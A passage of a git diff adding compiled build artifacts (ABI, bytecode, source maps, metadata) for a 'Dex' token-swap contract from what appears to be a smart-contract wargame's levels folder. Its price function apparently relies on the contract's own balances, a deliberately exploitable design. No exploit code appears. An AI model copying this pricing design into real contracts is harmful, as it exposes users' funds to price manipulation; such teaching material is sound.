nodeType":"IdentifierPath","referencedDeclaration":49184,"src":"396:13:41"},"id":49204,"nodeType":"InheritanceSpecifier","src":"396:13:41"}],"canonicalName":"DetectionBot","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49248,49184],"name":"DetectionBot","nameLocation":"380:12:41","scope":49249,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":41} \ No newline at end of file diff --git a/contracts/out/Dex.sol/Dex.json b/contracts/out/Dex.sol/Dex.json new file mode 100644 index 000000000..c5b0a65ee --- /dev/null +++ b/contracts/out/Dex.sol/Dex.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"addLiquidity","inputs":[{"name":"token_address","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"token","type":"address","internalType":"address"},{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getSwapPrice","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setTokens","inputs":[{"name":"_token1","type":"address","internalType":"address"},{"name":"_token2","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"swap","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"token1","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"token2","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a678061007a5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063bfd7e00d1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b8063bfd7e00d14610138578063cbc7854e14610159578063d21220a71461016c575f80fd5b806356688700116100ad578063566887001461010d578063715018a6146101205780638da5cb5b14610128575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610907565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610907565b61028a565b6100db61030b565b5f546001600160a01b03166100f0565b61014b61014636600461092f565b61031e565b604051908152602001610104565b6100db610167366004610968565b610408565b6001546100f0906001600160a01b031681565b6100db61018d36600461092f565b61044b565b6100db6101a0366004610999565b610733565b61014b6101b3366004610968565b6107c3565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610837565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061030691906109b2565b505050565b610313610837565b61031c5f610890565b565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa158015610362573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038691906109d8565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103ec91906109d8565b6103f690846109ef565b6104009190610a12565b949350505050565b610410610837565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6001546001600160a01b03848116911614801561047557506002546001600160a01b038381169116145b806104a557506002546001600160a01b0384811691161480156104a557506001546001600160a01b038381169116145b6104f65760405162461bcd60e51b815260206004820152600e60248201527f496e76616c696420746f6b656e7300000000000000000000000000000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561053a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055e91906109d8565b10156105ac5760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064016104ed565b5f6105b884848461031e565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af115801561060b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062f91906109b2565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af1158015610693573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b791906109b2565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610708573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072c91906109b2565b5050505050565b61073b610837565b6001600160a01b0381166107b75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104ed565b6107c081610890565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa15801561080a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082e91906109d8565b90505b92915050565b5f546001600160a01b0316331461031c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104ed565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610902575f80fd5b919050565b5f8060408385031215610918575f80fd5b610921836108ec565b946020939093013593505050565b5f805f60608486031215610941575f80fd5b61094a846108ec565b9250610958602085016108ec565b9150604084013590509250925092565b5f8060408385031215610979575f80fd5b610982836108ec565b9150610990602084016108ec565b90509250929050565b5f602082840312156109a9575f80fd5b61082e826108ec565b5f602082840312156109c2575f80fd5b815180151581146109d1575f80fd5b9392505050565b5f602082840312156109e8575f80fd5b5051919050565b808202811582820484141761083157634e487b7160e01b5f52601160045260245ffd5b5f82610a2c57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b57cf9ac90d2bc30df42da4a6d18e47ef75e0abef0fa76269178775c3763545c64736f6c63430008180033","sourceMap":"230:1495:67:-:0;;;315:16;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;230:1495:67;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;230:1495:67:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063bfd7e00d1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b8063bfd7e00d14610138578063cbc7854e14610159578063d21220a71461016c575f80fd5b806356688700116100ad578063566887001461010d578063715018a6146101205780638da5cb5b14610128575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610907565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610907565b61028a565b6100db61030b565b5f546001600160a01b03166100f0565b61014b61014636600461092f565b61031e565b604051908152602001610104565b6100db610167366004610968565b610408565b6001546100f0906001600160a01b031681565b6100db61018d36600461092f565b61044b565b6100db6101a0366004610999565b610733565b61014b6101b3366004610968565b6107c3565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610837565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061030691906109b2565b505050565b610313610837565b61031c5f610890565b565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa158015610362573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038691906109d8565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103ec91906109d8565b6103f690846109ef565b6104009190610a12565b949350505050565b610410610837565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6001546001600160a01b03848116911614801561047557506002546001600160a01b038381169116145b806104a557506002546001600160a01b0384811691161480156104a557506001546001600160a01b038381169116145b6104f65760405162461bcd60e51b815260206004820152600e60248201527f496e76616c696420746f6b656e7300000000000000000000000000000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561053a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055e91906109d8565b10156105ac5760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064016104ed565b5f6105b884848461031e565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af115801561060b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062f91906109b2565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af1158015610693573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b791906109b2565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610708573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072c91906109b2565b5050505050565b61073b610837565b6001600160a01b0381166107b75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104ed565b6107c081610890565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa15801561080a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082e91906109d8565b90505b92915050565b5f546001600160a01b0316331461031c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104ed565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610902575f80fd5b919050565b5f8060408385031215610918575f80fd5b610921836108ec565b946020939093013593505050565b5f805f60608486031215610941575f80fd5b61094a846108ec565b9250610958602085016108ec565b9150604084013590509250925092565b5f8060408385031215610979575f80fd5b610982836108ec565b9150610990602084016108ec565b90509250929050565b5f602082840312156109a9575f80fd5b61082e826108ec565b5f602082840312156109c2575f80fd5b815180151581146109d1575f80fd5b9392505050565b5f602082840312156109e8575f80fd5b5051919050565b808202811582820484141761083157634e487b7160e01b5f52601160045260245ffd5b5f82610a2c57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b57cf9ac90d2bc30df42da4a6d18e47ef75e0abef0fa76269178775c3763545c64736f6c63430008180033","sourceMap":"230:1495:67:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1378:202;;;;;;:::i;:::-;;:::i;:::-;;287:21;;;;;-1:-1:-1;;;;;287:21:67;;;;;;-1:-1:-1;;;;;638:55:155;;;620:74;;608:2;593:18;287:21:67;;;;;;;;472:164;;;;;;:::i;:::-;;:::i;1831:101:23:-;;;:::i;1201:85::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;1166:206:67;;;;;;:::i;:::-;;:::i;:::-;;;1184:25:155;;;1172:2;1157:18;1166:206:67;1038:177:155;337:129:67;;;;;;:::i;:::-;;:::i;260:21::-;;;;;-1:-1:-1;;;;;260:21:67;;;642:518;;;;;;:::i;:::-;;:::i;2081:198:23:-;;;;;;:::i;:::-;;:::i;1586:137:67:-;;;;;;:::i;:::-;;:::i;1378:202::-;1460:6;;1445:59;;-1:-1:-1;;;1445:59:67;;1476:10;1445:59;;;1939:34:155;-1:-1:-1;;;;;2009:15:155;;;1989:18;;;1982:43;2041:18;;;2034:34;;;1460:6:67;;;;1445:30;;1851:18:155;;1445:59:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1529:6:67;;1514:59;;-1:-1:-1;;;1514:59:67;;1545:10;1514:59;;;1939:34:155;-1:-1:-1;;;;;2009:15:155;;;1989:18;;;1982:43;2041:18;;;2034:34;;;1529:6:67;;;;-1:-1:-1;1514:30:67;;-1:-1:-1;1851:18:155;;1514:59:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1378:202;;:::o;472:164::-;1094:13:23;:11;:13::i;:::-;560:69:67::1;::::0;-1:-1:-1;;;560:69:67;;595:10:::1;560:69;::::0;::::1;1939:34:155::0;615:4:67::1;1989:18:155::0;;;1982:43;2041:18;;;2034:34;;;-1:-1:-1;;;;;560:34:67;::::1;::::0;::::1;::::0;1851:18:155;;560:69:67::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;472:164:::0;;:::o;1831:101:23:-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;1166:206:67:-;1327:37;;-1:-1:-1;;;1327:37:67;;1358:4;1327:37;;;620:74:155;1251:7:67;;-1:-1:-1;;;;;1327:22:67;;;;;593:18:155;;1327:37:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1288:35;;-1:-1:-1;;;1288:35:67;;1317:4;1288:35;;;620:74:155;-1:-1:-1;;;;;1288:20:67;;;;;593:18:155;;1288:35:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1279:44;;:6;:44;:::i;:::-;1278:86;;;;:::i;:::-;1270:95;1166:206;-1:-1:-1;;;;1166:206:67:o;337:129::-;1094:13:23;:11;:13::i;:::-;417:6:67::1;:16:::0;;-1:-1:-1;;;;;417:16:67;;::::1;-1:-1:-1::0;;417:16:67;;::::1;;::::0;;;443:6:::1;:16:::0;;;;;::::1;::::0;::::1;;::::0;;337:129::o;642:518::-;732:6;;-1:-1:-1;;;;;724:14:67;;;732:6;;724:14;:30;;;;-1:-1:-1;748:6:67;;-1:-1:-1;;;;;742:12:67;;;748:6;;742:12;724:30;723:68;;;-1:-1:-1;768:6:67;;-1:-1:-1;;;;;760:14:67;;;768:6;;760:14;:30;;;;-1:-1:-1;784:6:67;;-1:-1:-1;;;;;778:12:67;;;784:6;;778:12;760:30;715:95;;;;-1:-1:-1;;;715:95:67;;3358:2:155;715:95:67;;;3340:21:155;3397:2;3377:18;;;3370:30;3436:16;3416:18;;;3409:44;3470:18;;715:95:67;;;;;;;;;828:34;;-1:-1:-1;;;828:34:67;;851:10;828:34;;;620:74:155;866:6:67;;-1:-1:-1;;;;;828:22:67;;;;;593:18:155;;828:34:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:44;;820:75;;;;-1:-1:-1;;;820:75:67;;3701:2:155;820:75:67;;;3683:21:155;3740:2;3720:18;;;3713:30;3779:20;3759:18;;;3752:48;3817:18;;820:75:67;3499:342:155;820:75:67;905:18;926:30;939:4;945:2;949:6;926:12;:30::i;:::-;966:60;;-1:-1:-1;;;966:60:67;;992:10;966:60;;;1939:34:155;1012:4:67;1989:18:155;;;1982:43;2041:18;;;2034:34;;;905:51:67;;-1:-1:-1;;;;;;966:25:67;;;;;1851:18:155;;966:60:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;1036:45:67;;;;;1063:4;1036:45;;;4020:74:155;4110:18;;;4103:34;;;-1:-1:-1;;;;;1036:18:67;;;;;3993::155;;1036:45:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;1091:62:67;;-1:-1:-1;;;1091:62:67;;1123:4;1091:62;;;1939:34:155;1130:10:67;1989:18:155;;;1982:43;2041:18;;;2034:34;;;-1:-1:-1;;;;;1091:23:67;;;;;1851:18:155;;1091:62:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;705:455;642:518;;;:::o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;4350:2:155;2161:73:23::1;::::0;::::1;4332:21:155::0;4389:2;4369:18;;;4362:30;4428:34;4408:18;;;4401:62;4499:8;4479:18;;;4472:36;4525:19;;2161:73:23::1;4148:402:155::0;2161:73:23::1;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1586:137:67:-;1684:32;;-1:-1:-1;;;1684:32:67;;-1:-1:-1;;;;;638:55:155;;;1684:32:67;;;620:74:155;1658:7:67;;1684:23;;;;;;593:18:155;;1684:32:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1677:39;;1586:137;;;;;:::o;1359:130:23:-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;4757:2:155;1414:68:23;;;4739:21:155;;;4776:18;;;4769:30;4835:34;4815:18;;;4808:62;4887:18;;1414:68:23;4555:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;14:196:155:-;82:20;;-1:-1:-1;;;;;131:54:155;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:254::-;283:6;291;344:2;332:9;323:7;319:23;315:32;312:52;;;360:1;357;350:12;312:52;383:29;402:9;383:29;:::i;:::-;373:39;459:2;444:18;;;;431:32;;-1:-1:-1;;;215:254:155:o;705:328::-;782:6;790;798;851:2;839:9;830:7;826:23;822:32;819:52;;;867:1;864;857:12;819:52;890:29;909:9;890:29;:::i;:::-;880:39;;938:38;972:2;961:9;957:18;938:38;:::i;:::-;928:48;;1023:2;1012:9;1008:18;995:32;985:42;;705:328;;;;;:::o;1220:260::-;1288:6;1296;1349:2;1337:9;1328:7;1324:23;1320:32;1317:52;;;1365:1;1362;1355:12;1317:52;1388:29;1407:9;1388:29;:::i;:::-;1378:39;;1436:38;1470:2;1459:9;1455:18;1436:38;:::i;:::-;1426:48;;1220:260;;;;;:::o;1485:186::-;1544:6;1597:2;1585:9;1576:7;1572:23;1568:32;1565:52;;;1613:1;1610;1603:12;1565:52;1636:29;1655:9;1636:29;:::i;2079:277::-;2146:6;2199:2;2187:9;2178:7;2174:23;2170:32;2167:52;;;2215:1;2212;2205:12;2167:52;2247:9;2241:16;2300:5;2293:13;2286:21;2279:5;2276:32;2266:60;;2322:1;2319;2312:12;2266:60;2345:5;2079:277;-1:-1:-1;;;2079:277:155:o;2361:184::-;2431:6;2484:2;2472:9;2463:7;2459:23;2455:32;2452:52;;;2500:1;2497;2490:12;2452:52;-1:-1:-1;2523:16:155;;2361:184;-1:-1:-1;2361:184:155:o;2550:322::-;2623:9;;;2654;;2671:15;;;2665:22;;2651:37;2641:225;;-1:-1:-1;;;2719:1:155;2712:88;2823:4;2820:1;2813:15;2851:4;2848:1;2841:15;2877:274;2917:1;2943;2933:189;;-1:-1:-1;;;2975:1:155;2968:88;3079:4;3076:1;3069:15;3107:4;3104:1;3097:15;2933:189;-1:-1:-1;3136:9:155;;2877:274::o","linkReferences":{}},"methodIdentifiers":{"addLiquidity(address,uint256)":"56688700","approve(address,uint256)":"095ea7b3","balanceOf(address,address)":"f7888aec","getSwapPrice(address,address,uint256)":"bfd7e00d","owner()":"8da5cb5b","renounceOwnership()":"715018a6","setTokens(address,address)":"cbc7854e","swap(address,address,uint256)":"df791e50","token1()":"d21220a7","token2()":"25be124e","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token_address\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"addLiquidity\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"getSwapPrice\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_token1\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_token2\",\"type\":\"address\"}],\"name\":\"setTokens\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"swap\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"token1\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"token2\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Dex.sol\":\"Dex\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Dex.sol\":{\"keccak256\":\"0x165404494864adbe32c9a11790fb3ed27c4377cadc9094783ca2850191ca90b9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5fb11639949ca42fbf5013de302480c56fed463d375635f28a34650f4b721350\",\"dweb:/ipfs/QmdUHtCRqdSWYLpEDGvS8KW4WC7Di59eS3Zt6Y66HKdB1a\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","i